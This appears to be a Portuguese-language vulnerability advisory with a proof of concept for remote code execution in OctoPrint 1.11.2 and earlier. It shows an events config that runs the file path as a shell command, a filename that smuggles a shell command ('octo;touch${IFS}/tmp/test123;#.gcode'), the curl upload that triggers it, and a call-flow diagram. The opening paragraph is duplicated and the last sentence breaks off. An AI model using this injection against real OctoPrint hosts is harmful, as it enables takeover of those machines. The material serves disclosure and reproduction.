
No OctoPrint versão <=1.11.2, um atacante com acesso de upload de arquivos (por exemplo, chave de API válida ou sessão) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host
No OctoPrint versão <=1.11.2, um atacante com acesso ao upload de arquivos (por exemplo, chave de API ou sessão válida) pode criar um nome de arquivo malicioso que contorna a sanitização e é posteriormente executado pelo sistema de eventos do OctoPrint, levando à execução remota de código (RCE) no host
Baixado o último lançamento estável: OctoPrint 1.11.2
octoprint serve --port 5000 --debug
Pare o serviço do OctoPrint assim que os passos acima estiverem concluídos.
Seguindo a documentação de eventos do OctoPrint:
Edite ~/.octoprint/config.yaml:
events:
enabled: true
subscriptions:
- event: FileAdded
type: system
debug: true
command: "{path}"

Crie /tmp/gcode/ok.gcode:
; minimal gcode
G28
M105
Reinicie o serviço do OctoPrint.
export API_KEY='<key previously gathered from webUI>'
ls -la /tmp/test123
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'Explicação: ${IFS} é o Separador de Campo Interno do shell (geralmente um espaço). Ele contorna a sanitização quando injetado.
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
-F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
"http://127.0.0.1:5000/api/files/local"
ls -la /tmp/test123

Se /tmp/test123 existir, o comando injetado foi executado com sucesso → RCE confirmado.
[User upload with crafted filename]
│
▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
│
▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
│
▼
system command subscriber → subprocess.check_call(..., shell=True)
│
▼
[Injected shell metacharacters execute as OS commands]
Quando um arquivo é enviado:
;, ${IFS}, etc.) é passado para um shell.